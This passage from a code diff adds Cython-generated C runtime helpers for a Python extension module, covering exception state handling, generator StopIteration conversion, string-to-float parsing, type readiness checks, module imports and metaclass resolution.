CYTHON_COMPILING_IN_LIMITED_API + double a = __pyx_PyFloat_AsDouble(op1); +#else + double a = PyFloat_AS_DOUBLE(op1); +#endif + return ((double)a == (double)b); + } + return __Pyx_PyObject_IsTrueAndDecref( + PyObject_RichCompare(op1, op2, Py_EQ)); +} + +/* GetException */ + #if CYTHON_FAST_THREAD_STATE +static int __Pyx__GetException(PyThreadState *tstate, PyObject **type, PyObject **value, PyObject **tb) +#else +static int __Pyx_GetException(PyObject **type, PyObject **value, PyObject **tb) +#endif +{ + PyObject *local_type = NULL, *local_value, *local_tb = NULL; +#if CYTHON_FAST_THREAD_STATE + PyObject *tmp_type, *tmp_value, *tmp_tb; + #if PY_VERSION_HEX >= 0x030C00A6 + local_value = tstate->current_exception; + tstate->current_exception = 0; + if (likely(local_value)) { + local_type = (PyObject*) Py_TYPE(local_value); + Py_INCREF(local_type); + local_tb = PyException_GetTraceback(local_value); + } + #else + local_type = tstate->curexc_type; + local_value = tstate->curexc_value; + local_tb = tstate->curexc_traceback; + tstate->curexc_type = 0; + tstate->curexc_value = 0; + tstate->curexc_traceback = 0; + #endif +#else + PyErr_Fetch(&local_type, &local_value, &local_tb); +#endif + PyErr_NormalizeException(&local_type, &local_value, &local_tb); +#if CYTHON_FAST_THREAD_STATE && PY_VERSION_HEX >= 0x030C00A6 + if (unlikely(tstate->current_exception)) +#elif CYTHON_FAST_THREAD_STATE + if (unlikely(tstate->curexc_type)) +#else + if (unlikely(PyErr_Occurred())) +#endif + goto bad; + #if PY_MAJOR_VERSION >= 3 + if (local_tb) { + if (unlikely(PyException_SetTraceback(local_value, local_tb) < 0)) + goto bad; + } + #endif + Py_XINCREF(local_tb); + Py_XINCREF(local_type); + Py_XINCREF(local_value); + *type = local_type; + *value = local_value; + *tb = local_tb; +#if CYTHON_FAST_THREAD_STATE + #if CYTHON_USE_EXC_INFO_STACK + { + _PyErr_StackItem *exc_info = tstate->exc_info; + #if PY_VERSION_HEX >= 0x030B00a4 + tmp_value = exc_info->exc_value; + exc_info->exc_value = local_value; + tmp_type = NULL; + tmp_tb = NULL; + Py_XDECREF(local_type); + Py_XDECREF(local_tb); + #else + tmp_type = exc_info->exc_type; + tmp_value = exc_info->exc_value; + tmp_tb = exc_info->exc_traceback; + exc_info->exc_type = local_type; + exc_info->exc_value = local_value; + exc_info->exc_traceback = local_tb; + #endif + } + #else + tmp_type = tstate->exc_type; + tmp_value = tstate->exc_value; + tmp_tb = tstate->exc_traceback; + tstate->exc_type = local_type; + tstate->exc_value = local_value; + tstate->exc_traceback = local_tb; + #endif + Py_XDECREF(tmp_type); + Py_XDECREF(tmp_value); + Py_XDECREF(tmp_tb); +#else + PyErr_SetExcInfo(local_type, local_value, local_tb); +#endif + return 0; +bad: + *type = 0; + *value = 0; + *tb = 0; + Py_XDECREF(local_type); + Py_XDECREF(local_value); + Py_XDECREF(local_tb); + return -1; +} + +/* pep479 */ + static void __Pyx_Generator_Replace_StopIteration(int in_async_gen) { + PyObject *exc, *val, *tb, *cur_exc; + __Pyx_PyThreadState_declare + #ifdef __Pyx_StopAsyncIteration_USED + int is_async_stopiteration = 0; + #endif + CYTHON_MAYBE_UNUSED_VAR(in_async_gen); + cur_exc = PyErr_Occurred(); + if (likely(!__Pyx_PyErr_GivenExceptionMatches(cur_exc, PyExc_StopIteration))) { + #ifdef __Pyx_StopAsyncIteration_USED + if (in_async_gen && unlikely(__Pyx_PyErr_GivenExceptionMatches(cur_exc, __Pyx_PyExc_StopAsyncIteration))) { + is_async_stopiteration = 1; + } else + #endif + return; + } + __Pyx_PyThreadState_assign + __Pyx_GetException(&exc, &val, &tb); + Py_XDECREF(exc); + Py_XDECREF(val); + Py_XDECREF(tb); + PyErr_SetString(PyExc_RuntimeError, + #ifdef __Pyx_StopAsyncIteration_USED + is_async_stopiteration ? "async generator raised StopAsyncIteration" : + in_async_gen ? "async generator raised StopIteration" : + #endif + "generator raised StopIteration"); +} + +/* JoinPyUnicode */ + static PyObject* __Pyx_PyUnicode_Join(PyObject* value_tuple, Py_ssize_t value_count, Py_ssize_t result_ulength, + Py_UCS4 max_char) { +#if CYTHON_USE_UNICODE_INTERNALS && CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + PyObject *result_uval; + int result_ukind, kind_shift; + Py_ssize_t i, char_pos; + void *result_udata; + CYTHON_MAYBE_UNUSED_VAR(max_char); +#if CYTHON_PEP393_ENABLED + result_uval = PyUnicode_New(result_ulength, max_char); + if (unlikely(!result_uval)) return NULL; + result_ukind = (max_char <= 255) ? PyUnicode_1BYTE_KIND : (max_char <= 65535) ? PyUnicode_2BYTE_KIND : PyUnicode_4BYTE_KIND; + kind_shift = (result_ukind == PyUnicode_4BYTE_KIND) ? 2 : result_ukind - 1; + result_udata = PyUnicode_DATA(result_uval); +#else + result_uval = PyUnicode_FromUnicode(NULL, result_ulength); + if (unlikely(!result_uval)) return NULL; + result_ukind = sizeof(Py_UNICODE); + kind_shift = (result_ukind == 4) ? 2 : result_ukind - 1; + result_udata = PyUnicode_AS_UNICODE(result_uval); +#endif + assert(kind_shift == 2 || kind_shift == 1 || kind_shift == 0); + char_pos = 0; + for (i=0; i < value_count; i++) { + int ukind; + Py_ssize_t ulength; + void *udata; + PyObject *uval = PyTuple_GET_ITEM(value_tuple, i); + if (unlikely(__Pyx_PyUnicode_READY(uval))) + goto bad; + ulength = __Pyx_PyUnicode_GET_LENGTH(uval); + if (unlikely(!ulength)) + continue; + if (unlikely((PY_SSIZE_T_MAX >> kind_shift) - ulength < char_pos)) + goto overflow; + ukind = __Pyx_PyUnicode_KIND(uval); + udata = __Pyx_PyUnicode_DATA(uval); + if (!CYTHON_PEP393_ENABLED || ukind == result_ukind) { + memcpy((char *)result_udata + (char_pos << kind_shift), udata, (size_t) (ulength << kind_shift)); + } else { + #if PY_VERSION_HEX >= 0x030d0000 + if (unlikely(PyUnicode_CopyCharacters(result_uval, char_pos, uval, 0, ulength) < 0)) goto bad; + #elif CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030300F0 || defined(_PyUnicode_FastCopyCharacters) + _PyUnicode_FastCopyCharacters(result_uval, char_pos, uval, 0, ulength); + #else + Py_ssize_t j; + for (j=0; j < ulength; j++) { + Py_UCS4 uchar = __Pyx_PyUnicode_READ(ukind, udata, j); + __Pyx_PyUnicode_WRITE(result_ukind, result_udata, char_pos+j, uchar); + } + #endif + } + char_pos += ulength; + } + return result_uval; +overflow: + PyErr_SetString(PyExc_OverflowError, "join() result is too long for a Python string"); +bad: + Py_DECREF(result_uval); + return NULL; +#else + CYTHON_UNUSED_VAR(max_char); + CYTHON_UNUSED_VAR(result_ulength); + CYTHON_UNUSED_VAR(value_count); + return PyUnicode_Join(__pyx_empty_unicode, value_tuple); +#endif +} + +/* ReturnWithStopIteration */ + static void __Pyx__ReturnWithStopIteration(PyObject* value) { + PyObject *exc, *args; +#if CYTHON_COMPILING_IN_CPYTHON + __Pyx_PyThreadState_declare + if (PY_VERSION_HEX >= 0x030C00A6 + || unlikely(PyTuple_Check(value) || PyExceptionInstance_Check(value))) { + args = PyTuple_New(1); + if (unlikely(!args)) return; + Py_INCREF(value); + PyTuple_SET_ITEM(args, 0, value); + exc = PyType_Type.tp_call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (!exc) return; + } else { + Py_INCREF(value); + exc = value; + } + #if CYTHON_FAST_THREAD_STATE + __Pyx_PyThreadState_assign + #if CYTHON_USE_EXC_INFO_STACK + if (!__pyx_tstate->exc_info->exc_value) + #else + if (!__pyx_tstate->exc_type) + #endif + { + Py_INCREF(PyExc_StopIteration); + __Pyx_ErrRestore(PyExc_StopIteration, exc, NULL); + return; + } + #endif +#else + args = PyTuple_Pack(1, value); + if (unlikely(!args)) return; + exc = PyObject_Call(PyExc_StopIteration, args, NULL); + Py_DECREF(args); + if (unlikely(!exc)) return; +#endif + PyErr_SetObject(PyExc_StopIteration, exc); + Py_DECREF(exc); +} + +/* pybytes_as_double */ + static double __Pyx_SlowPyString_AsDouble(PyObject *obj) { + PyObject *float_value; +#if PY_MAJOR_VERSION >= 3 + float_value = PyFloat_FromString(obj); +#else + float_value = PyFloat_FromString(obj, 0); +#endif + if (likely(float_value)) { +#if CYTHON_ASSUME_SAFE_MACROS + double value = PyFloat_AS_DOUBLE(float_value); +#else + double value = PyFloat_AsDouble(float_value); +#endif + Py_DECREF(float_value); + return value; + } + return (double)-1; +} +static const char* __Pyx__PyBytes_AsDouble_Copy(const char* start, char* buffer, Py_ssize_t length) { + int last_was_punctuation = 1; + Py_ssize_t i; + for (i=0; i < length; i++) { + char chr = start[i]; + int is_punctuation = (chr == '_') | (chr == '.') | (chr == 'e') | (chr == 'E'); + *buffer = chr; + buffer += (chr != '_'); + if (unlikely(last_was_punctuation & is_punctuation)) goto parse_failure; + last_was_punctuation = is_punctuation; + } + if (unlikely(last_was_punctuation)) goto parse_failure; + *buffer = '\0'; + return buffer; +parse_failure: + return NULL; +} +static double __Pyx__PyBytes_AsDouble_inf_nan(const char* start, Py_ssize_t length) { + int matches = 1; + char sign = start[0]; + int is_signed = (sign == '+') | (sign == '-'); + start += is_signed; + length -= is_signed; + switch (start[0]) { + #ifdef Py_NAN + case 'n': + case 'N': + if (unlikely(length != 3)) goto parse_failure; + matches &= (start[1] == 'a' || start[1] == 'A'); + matches &= (start[2] == 'n' || start[2] == 'N'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_NAN : Py_NAN; + #endif + case 'i': + case 'I': + if (unlikely(length < 3)) goto parse_failure; + matches &= (start[1] == 'n' || start[1] == 'N'); + matches &= (start[2] == 'f' || start[2] == 'F'); + if (likely(length == 3 && matches)) + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + if (unlikely(length != 8)) goto parse_failure; + matches &= (start[3] == 'i' || start[3] == 'I'); + matches &= (start[4] == 'n' || start[4] == 'N'); + matches &= (start[5] == 'i' || start[5] == 'I'); + matches &= (start[6] == 't' || start[6] == 'T'); + matches &= (start[7] == 'y' || start[7] == 'Y'); + if (unlikely(!matches)) goto parse_failure; + return (sign == '-') ? -Py_HUGE_VAL : Py_HUGE_VAL; + case '.': case '0': case '1': case '2': case '3': case '4': case '5': case '6': case '7': case '8': case '9': + break; + default: + goto parse_failure; + } + return 0.0; +parse_failure: + return -1.0; +} +static CYTHON_INLINE int __Pyx__PyBytes_AsDouble_IsSpace(char ch) { + return (ch == 0x20) | !((ch < 0x9) | (ch > 0xd)); +} +CYTHON_UNUSED static double __Pyx__PyBytes_AsDouble(PyObject *obj, const char* start, Py_ssize_t length) { + double value; + Py_ssize_t i, digits; + const char *last = start + length; + char *end; + while (__Pyx__PyBytes_AsDouble_IsSpace(*start)) + start++; + while (start < last - 1 && __Pyx__PyBytes_AsDouble_IsSpace(last[-1])) + last--; + length = last - start; + if (unlikely(length <= 0)) goto fallback; + value = __Pyx__PyBytes_AsDouble_inf_nan(start, length); + if (unlikely(value == -1.0)) goto fallback; + if (value != 0.0) return value; + digits = 0; + for (i=0; i < length; digits += start[i++] != '_'); + if (likely(digits == length)) { + value = PyOS_string_to_double(start, &end, NULL); + } else if (digits < 40) { + char number[40]; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) goto fallback; + value = PyOS_string_to_double(number, &end, NULL); + } else { + char *number = (char*) PyMem_Malloc((digits + 1) * sizeof(char)); + if (unlikely(!number)) goto fallback; + last = __Pyx__PyBytes_AsDouble_Copy(start, number, length); + if (unlikely(!last)) { + PyMem_Free(number); + goto fallback; + } + value = PyOS_string_to_double(number, &end, NULL); + PyMem_Free(number); + } + if (likely(end == last) || (value == (double)-1 && PyErr_Occurred())) { + return value; + } +fallback: + return __Pyx_SlowPyString_AsDouble(obj); +} + +/* pyobject_as_double */ + static double __Pyx__PyObject_AsDouble(PyObject* obj) { + if (PyUnicode_CheckExact(obj)) { + return __Pyx_PyUnicode_AsDouble(obj); + } else if (PyBytes_CheckExact(obj)) { + return __Pyx_PyBytes_AsDouble(obj); + } else if (PyByteArray_CheckExact(obj)) { + return __Pyx_PyByteArray_AsDouble(obj); + } else { + PyObject* float_value; +#if !CYTHON_USE_TYPE_SLOTS + float_value = PyNumber_Float(obj); if ((0)) goto bad; + (void)__Pyx_PyObject_CallOneArg; +#else + PyNumberMethods *nb = Py_TYPE(obj)->tp_as_number; + if (likely(nb) && likely(nb->nb_float)) { + float_value = nb->nb_float(obj); + if (likely(float_value) && unlikely(!PyFloat_Check(float_value))) { + __Pyx_TypeName float_value_type_name = __Pyx_PyType_GetName(Py_TYPE(float_value)); + PyErr_Format(PyExc_TypeError, + "__float__ returned non-float (type " __Pyx_FMT_TYPENAME ")", + float_value_type_name); + __Pyx_DECREF_TypeName(float_value_type_name); + Py_DECREF(float_value); + goto bad; + } + } else { + float_value = __Pyx_PyObject_CallOneArg((PyObject*)&PyFloat_Type, obj); + } +#endif + if (likely(float_value)) { + double value = PyFloat_AS_DOUBLE(float_value); + Py_DECREF(float_value); + return value; + } + } +bad: + return (double)-1; +} + +/* PyObjectCallMethod0 */ + static PyObject* __Pyx_PyObject_CallMethod0(PyObject* obj, PyObject* method_name) { + PyObject *method = NULL, *result = NULL; + int is_method = __Pyx_PyObject_GetMethod(obj, method_name, &method); + if (likely(is_method)) { + result = __Pyx_PyObject_CallOneArg(method, obj); + Py_DECREF(method); + return result; + } + if (unlikely(!method)) goto bad; + result = __Pyx_PyObject_CallNoArg(method); + Py_DECREF(method); +bad: + return result; +} + +/* ValidateBasesTuple */ + #if CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API || CYTHON_USE_TYPE_SPECS +static int __Pyx_validate_bases_tuple(const char *type_name, Py_ssize_t dictoffset, PyObject *bases) { + Py_ssize_t i, n; +#if CYTHON_ASSUME_SAFE_MACROS + n = PyTuple_GET_SIZE(bases); +#else + n = PyTuple_Size(bases); + if (n < 0) return -1; +#endif + for (i = 1; i < n; i++) + { +#if CYTHON_AVOID_BORROWED_REFS + PyObject *b0 = PySequence_GetItem(bases, i); + if (!b0) return -1; +#elif CYTHON_ASSUME_SAFE_MACROS + PyObject *b0 = PyTuple_GET_ITEM(bases, i); +#else + PyObject *b0 = PyTuple_GetItem(bases, i); + if (!b0) return -1; +#endif + PyTypeObject *b; +#if PY_MAJOR_VERSION < 3 + if (PyClass_Check(b0)) + { + PyErr_Format(PyExc_TypeError, "base class '%.200s' is an old-style class", + PyString_AS_STRING(((PyClassObject*)b0)->cl_name)); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } +#endif + b = (PyTypeObject*) b0; + if (!__Pyx_PyType_HasFeature(b, Py_TPFLAGS_HEAPTYPE)) + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "base class '" __Pyx_FMT_TYPENAME "' is not a heap type", b_name); + __Pyx_DECREF_TypeName(b_name); +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + if (dictoffset == 0) + { + Py_ssize_t b_dictoffset = 0; +#if CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY + b_dictoffset = b->tp_dictoffset; +#else + PyObject *py_b_dictoffset = PyObject_GetAttrString((PyObject*)b, "__dictoffset__"); + if (!py_b_dictoffset) goto dictoffset_return; + b_dictoffset = PyLong_AsSsize_t(py_b_dictoffset); + Py_DECREF(py_b_dictoffset); + if (b_dictoffset == -1 && PyErr_Occurred()) goto dictoffset_return; +#endif + if (b_dictoffset) { + { + __Pyx_TypeName b_name = __Pyx_PyType_GetName(b); + PyErr_Format(PyExc_TypeError, + "extension type '%.200s' has no __dict__ slot, " + "but base type '" __Pyx_FMT_TYPENAME "' has: " + "either add 'cdef dict __dict__' to the extension type " + "or add '__slots__ = [...]' to the base type", + type_name, b_name); + __Pyx_DECREF_TypeName(b_name); + } +#if !(CYTHON_USE_TYPE_SLOTS || CYTHON_COMPILING_IN_PYPY) + dictoffset_return: +#endif +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + return -1; + } + } +#if CYTHON_AVOID_BORROWED_REFS + Py_DECREF(b0); +#endif + } + return 0; +} +#endif + +/* PyType_Ready */ + static int __Pyx_PyType_Ready(PyTypeObject *t) { +#if CYTHON_USE_TYPE_SPECS || !(CYTHON_COMPILING_IN_CPYTHON || CYTHON_COMPILING_IN_LIMITED_API) || defined(PYSTON_MAJOR_VERSION) + (void)__Pyx_PyObject_CallMethod0; +#if CYTHON_USE_TYPE_SPECS + (void)__Pyx_validate_bases_tuple; +#endif + return PyType_Ready(t); +#else + int r; + PyObject *bases = __Pyx_PyType_GetSlot(t, tp_bases, PyObject*); + if (bases && unlikely(__Pyx_validate_bases_tuple(t->tp_name, t->tp_dictoffset, bases) == -1)) + return -1; +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + { + int gc_was_enabled; + #if PY_VERSION_HEX >= 0x030A00b1 + gc_was_enabled = PyGC_Disable(); + (void)__Pyx_PyObject_CallMethod0; + #else + PyObject *ret, *py_status; + PyObject *gc = NULL; + #if PY_VERSION_HEX >= 0x030700a1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM+0 >= 0x07030400) + gc = PyImport_GetModule(__pyx_kp_u_gc); + #endif + if (unlikely(!gc)) gc = PyImport_Import(__pyx_kp_u_gc); + if (unlikely(!gc)) return -1; + py_status = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_isenabled); + if (unlikely(!py_status)) { + Py_DECREF(gc); + return -1; + } + gc_was_enabled = __Pyx_PyObject_IsTrue(py_status); + Py_DECREF(py_status); + if (gc_was_enabled > 0) { + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_disable); + if (unlikely(!ret)) { + Py_DECREF(gc); + return -1; + } + Py_DECREF(ret); + } else if (unlikely(gc_was_enabled == -1)) { + Py_DECREF(gc); + return -1; + } + #endif + t->tp_flags |= Py_TPFLAGS_HEAPTYPE; +#if PY_VERSION_HEX >= 0x030A0000 + t->tp_flags |= Py_TPFLAGS_IMMUTABLETYPE; +#endif +#else + (void)__Pyx_PyObject_CallMethod0; +#endif + r = PyType_Ready(t); +#if PY_VERSION_HEX >= 0x03050000 && !defined(PYSTON_MAJOR_VERSION) + t->tp_flags &= ~Py_TPFLAGS_HEAPTYPE; + #if PY_VERSION_HEX >= 0x030A00b1 + if (gc_was_enabled) + PyGC_Enable(); + #else + if (gc_was_enabled) { + PyObject *tp, *v, *tb; + PyErr_Fetch(&tp, &v, &tb); + ret = __Pyx_PyObject_CallMethod0(gc, __pyx_kp_u_enable); + if (likely(ret || r == -1)) { + Py_XDECREF(ret); + PyErr_Restore(tp, v, tb); + } else { + Py_XDECREF(tp); + Py_XDECREF(v); + Py_XDECREF(tb); + r = -1; + } + } + Py_DECREF(gc); + #endif + } +#endif + return r; +#endif +} + +/* Import */ + static PyObject *__Pyx_Import(PyObject *name, PyObject *from_list, int level) { + PyObject *module = 0; + PyObject *empty_dict = 0; + PyObject *empty_list = 0; + #if PY_MAJOR_VERSION < 3 + PyObject *py_import; + py_import = __Pyx_PyObject_GetAttrStr(__pyx_b, __pyx_n_s_import); + if (unlikely(!py_import)) + goto bad; + if (!from_list) { + empty_list = PyList_New(0); + if (unlikely(!empty_list)) + goto bad; + from_list = empty_list; + } + #endif + empty_dict = PyDict_New(); + if (unlikely(!empty_dict)) + goto bad; + { + #if PY_MAJOR_VERSION >= 3 + if (level == -1) { + if (strchr(__Pyx_MODULE_NAME, '.') != NULL) { + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, 1); + if (unlikely(!module)) { + if (unlikely(!PyErr_ExceptionMatches(PyExc_ImportError))) + goto bad; + PyErr_Clear(); + } + } + level = 0; + } + #endif + if (!module) { + #if PY_MAJOR_VERSION < 3 + PyObject *py_level = PyInt_FromLong(level); + if (unlikely(!py_level)) + goto bad; + module = PyObject_CallFunctionObjArgs(py_import, + name, __pyx_d, empty_dict, from_list, py_level, (PyObject *)NULL); + Py_DECREF(py_level); + #else + module = PyImport_ImportModuleLevelObject( + name, __pyx_d, empty_dict, from_list, level); + #endif + } + } +bad: + Py_XDECREF(empty_dict); + Py_XDECREF(empty_list); + #if PY_MAJOR_VERSION < 3 + Py_XDECREF(py_import); + #endif + return module; +} + +/* ImportDottedModule */ + #if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx__ImportDottedModule_Error(PyObject *name, PyObject *parts_tuple, Py_ssize_t count) { + PyObject *partial_name = NULL, *slice = NULL, *sep = NULL; + if (unlikely(PyErr_Occurred())) { + PyErr_Clear(); + } + if (likely(PyTuple_GET_SIZE(parts_tuple) == count)) { + partial_name = name; + } else { + slice = PySequence_GetSlice(parts_tuple, 0, count); + if (unlikely(!slice)) + goto bad; + sep = PyUnicode_FromStringAndSize(".", 1); + if (unlikely(!sep)) + goto bad; + partial_name = PyUnicode_Join(sep, slice); + } + PyErr_Format( +#if PY_MAJOR_VERSION < 3 + PyExc_ImportError, + "No module named '%s'", PyString_AS_STRING(partial_name)); +#else +#if PY_VERSION_HEX >= 0x030600B1 + PyExc_ModuleNotFoundError, +#else + PyExc_ImportError, +#endif + "No module named '%U'", partial_name); +#endif +bad: + Py_XDECREF(sep); + Py_XDECREF(slice); + Py_XDECREF(partial_name); + return NULL; +} +#endif +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx__ImportDottedModule_Lookup(PyObject *name) { + PyObject *imported_module; +#if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + return NULL; + imported_module = __Pyx_PyDict_GetItemStr(modules, name); + Py_XINCREF(imported_module); +#else + imported_module = PyImport_GetModule(name); +#endif + return imported_module; +} +#endif +#if PY_MAJOR_VERSION >= 3 +static PyObject *__Pyx_ImportDottedModule_WalkParts(PyObject *module, PyObject *name, PyObject *parts_tuple) { + Py_ssize_t i, nparts; + nparts = PyTuple_GET_SIZE(parts_tuple); + for (i=1; i < nparts && module; i++) { + PyObject *part, *submodule; +#if CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS + part = PyTuple_GET_ITEM(parts_tuple, i); +#else + part = PySequence_ITEM(parts_tuple, i); +#endif + submodule = __Pyx_PyObject_GetAttrStrNoError(module, part); +#if !(CYTHON_ASSUME_SAFE_MACROS && !CYTHON_AVOID_BORROWED_REFS) + Py_DECREF(part); +#endif + Py_DECREF(module); + module = submodule; + } + if (unlikely(!module)) { + return __Pyx__ImportDottedModule_Error(name, parts_tuple, i); + } + return module; +} +#endif +static PyObject *__Pyx__ImportDottedModule(PyObject *name, PyObject *parts_tuple) { +#if PY_MAJOR_VERSION < 3 + PyObject *module, *from_list, *star = __pyx_n_s__21; + CYTHON_UNUSED_VAR(parts_tuple); + from_list = PyList_New(1); + if (unlikely(!from_list)) + return NULL; + Py_INCREF(star); + PyList_SET_ITEM(from_list, 0, star); + module = __Pyx_Import(name, from_list, 0); + Py_DECREF(from_list); + return module; +#else + PyObject *imported_module; + PyObject *module = __Pyx_Import(name, NULL, 0); + if (!parts_tuple || unlikely(!module)) + return module; + imported_module = __Pyx__ImportDottedModule_Lookup(name); + if (likely(imported_module)) { + Py_DECREF(module); + return imported_module; + } + PyErr_Clear(); + return __Pyx_ImportDottedModule_WalkParts(module, name, parts_tuple); +#endif +} +static PyObject *__Pyx_ImportDottedModule(PyObject *name, PyObject *parts_tuple) { +#if CYTHON_COMPILING_IN_CPYTHON && PY_VERSION_HEX >= 0x030400B1 + PyObject *module = __Pyx__ImportDottedModule_Lookup(name); + if (likely(module)) { + PyObject *spec = __Pyx_PyObject_GetAttrStrNoError(module, __pyx_n_s_spec); + if (likely(spec)) { + PyObject *unsafe = __Pyx_PyObject_GetAttrStrNoError(spec, __pyx_n_s_initializing); + if (likely(!unsafe || !__Pyx_PyObject_IsTrue(unsafe))) { + Py_DECREF(spec); + spec = NULL; + } + Py_XDECREF(unsafe); + } + if (likely(!spec)) { + PyErr_Clear(); + return module; + } + Py_DECREF(spec); + Py_DECREF(module); + } else if (PyErr_Occurred()) { + PyErr_Clear(); + } +#endif + return __Pyx__ImportDottedModule(name, parts_tuple); +} + +/* ImportFrom */ + static PyObject* __Pyx_ImportFrom(PyObject* module, PyObject* name) { + PyObject* value = __Pyx_PyObject_GetAttrStr(module, name); + if (unlikely(!value) && PyErr_ExceptionMatches(PyExc_AttributeError)) { + const char* module_name_str = 0; + PyObject* module_name = 0; + PyObject* module_dot = 0; + PyObject* full_name = 0; + PyErr_Clear(); + module_name_str = PyModule_GetName(module); + if (unlikely(!module_name_str)) { goto modbad; } + module_name = PyUnicode_FromString(module_name_str); + if (unlikely(!module_name)) { goto modbad; } + module_dot = PyUnicode_Concat(module_name, __pyx_kp_u__22); + if (unlikely(!module_dot)) { goto modbad; } + full_name = PyUnicode_Concat(module_dot, name); + if (unlikely(!full_name)) { goto modbad; } + #if PY_VERSION_HEX < 0x030700A1 || (CYTHON_COMPILING_IN_PYPY && PYPY_VERSION_NUM < 0x07030400) + { + PyObject *modules = PyImport_GetModuleDict(); + if (unlikely(!modules)) + goto modbad; + value = PyObject_GetItem(modules, full_name); + } + #else + value = PyImport_GetModule(full_name); + #endif + modbad: + Py_XDECREF(full_name); + Py_XDECREF(module_dot); + Py_XDECREF(module_name); + } + if (unlikely(!value)) { + PyErr_Format(PyExc_ImportError, + #if PY_MAJOR_VERSION < 3 + "cannot import name %.230s", PyString_AS_STRING(name)); + #else + "cannot import name %S", name); + #endif + } + return value; +} + +/* Py3UpdateBases */ + static PyObject* +__Pyx_PEP560_update_bases(PyObject *bases) +{ + Py_ssize_t i, j, size_bases; + PyObject *base, *meth, *new_base, *result, *new_bases = NULL; + size_bases = PyTuple_GET_SIZE(bases); + for (i = 0; i < size_bases; i++) { + base = PyTuple_GET_ITEM(bases, i); + if (PyType_Check(base)) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + meth = __Pyx_PyObject_GetAttrStrNoError(base, __pyx_n_s_mro_entries); + if (!meth && PyErr_Occurred()) { + goto error; + } + if (!meth) { + if (new_bases) { + if (PyList_Append(new_bases, base) < 0) { + goto error; + } + } + continue; + } + new_base = __Pyx_PyObject_CallOneArg(meth, bases); + Py_DECREF(meth); + if (!new_base) { + goto error; + } + if (!PyTuple_Check(new_base)) { + PyErr_SetString(PyExc_TypeError, + "__mro_entries__ must return a tuple"); + Py_DECREF(new_base); + goto error; + } + if (!new_bases) { + if (!(new_bases = PyList_New(i))) { + goto error; + } + for (j = 0; j < i; j++) { + base = PyTuple_GET_ITEM(bases, j); + PyList_SET_ITEM(new_bases, j, base); + Py_INCREF(base); + } + } + j = PyList_GET_SIZE(new_bases); + if (PyList_SetSlice(new_bases, j, j, new_base) < 0) { + goto error; + } + Py_DECREF(new_base); + } + if (!new_bases) { + Py_INCREF(bases); + return bases; + } + result = PyList_AsTuple(new_bases); + Py_DECREF(new_bases); + return result; +error: + Py_XDECREF(new_bases); + return NULL; +} + +/* CalculateMetaclass */ + static PyObject *__Pyx_CalculateMetaclass(PyTypeObject *metaclass, PyObject *bases) { + Py_ssize_t i, nbases; +#if CYTHON_ASSUME_SAFE_MACROS + nbases = PyTuple_GET_SIZE(bases); +#else + nbases = PyTuple_Size(bases); + if (nbases < 0) return NULL; +#endif + for (i=0; i < nbases; i++) { + PyTypeObject *tmptype; +#if CYTHON_ASSUME_SAFE_MACROS + PyObject *tmp = PyTuple_GET_ITEM(bases, i); +#else + PyObject *tmp = PyTuple_GetItem(bases, i); + if (!tmp) return NULL; +#endif + tmptype = Py_TYPE(tmp); +#if PY_MAJOR_VERSION < 3 + if (tmptype == &PyClass_Type) + continue; +#endif + if (!metaclass) { + metaclass = tmptype; + continue; + } + if (PyType_IsSubtype(metaclass, tmptype)) + continue; + if (PyType_IsSubtype(tmptype, metaclass)) { + metaclass = tmptype; + continue; + } + PyErr_SetString(PyExc_TypeError, + "metaclass conflict: " + "the metaclass of a derived class " + "must be a (non-strict) subclass " + "of the metaclasses of all its bases"); + return NULL; + } + if (!metaclass) { +#if PY_MAJOR_VERSION < 3 + metaclass = &PyClass_Type; +#else + metaclass = &PyType_Type; +#endif + } + Py_INCREF((PyObject*) metaclass); + return (PyObject*) metaclass; +} + +/* PyObjectLookupSpecial */ + #if CYTHON_USE_PYTYPE_LOOKUP && CYTHON_USE_TYPE_SLOTS +static CYTHON_INLINE PyObject* __Pyx__PyObject_LookupSpecial(PyObject* obj, PyObject* attr_name, int with_error) { + PyObject *res; + PyTypeObject *tp = Py_TYPE(obj); +#if PY_MAJOR_VERSION < 3 + if (unlikely(PyInstance_Check(obj))) + return with_error ? __Pyx_PyObject_GetAttrStr(obj, attr_name) : __Pyx_PyObject_GetAttrStrNoError(obj, attr_name); +#endif + res = _PyType_Lookup(tp, attr_name); + if (likely(res)) { + descrgetfunc f = Py_TYPE(res)->tp_descr_get; + if (!f) { + Py_INCREF(res); + } else { + res = f(res, obj, (PyObject *)tp); + } + } else if (with_error) { + PyErr_SetObject(PyExc_AttributeError, attr_name); + } + return res; +} +#endif + +/* Py3ClassCreate */ + static PyObject *__Pyx_Py3MetaclassPrepare(PyObject *metaclass, PyObject *bases, PyObject *name, + PyObject *qualname, PyObject *mkw, PyObject *modname, PyObject *doc) { + PyObject *ns; + if (metaclass) { + PyObject *prep = __Pyx_PyObject_GetAttrStrNoError(metaclass, 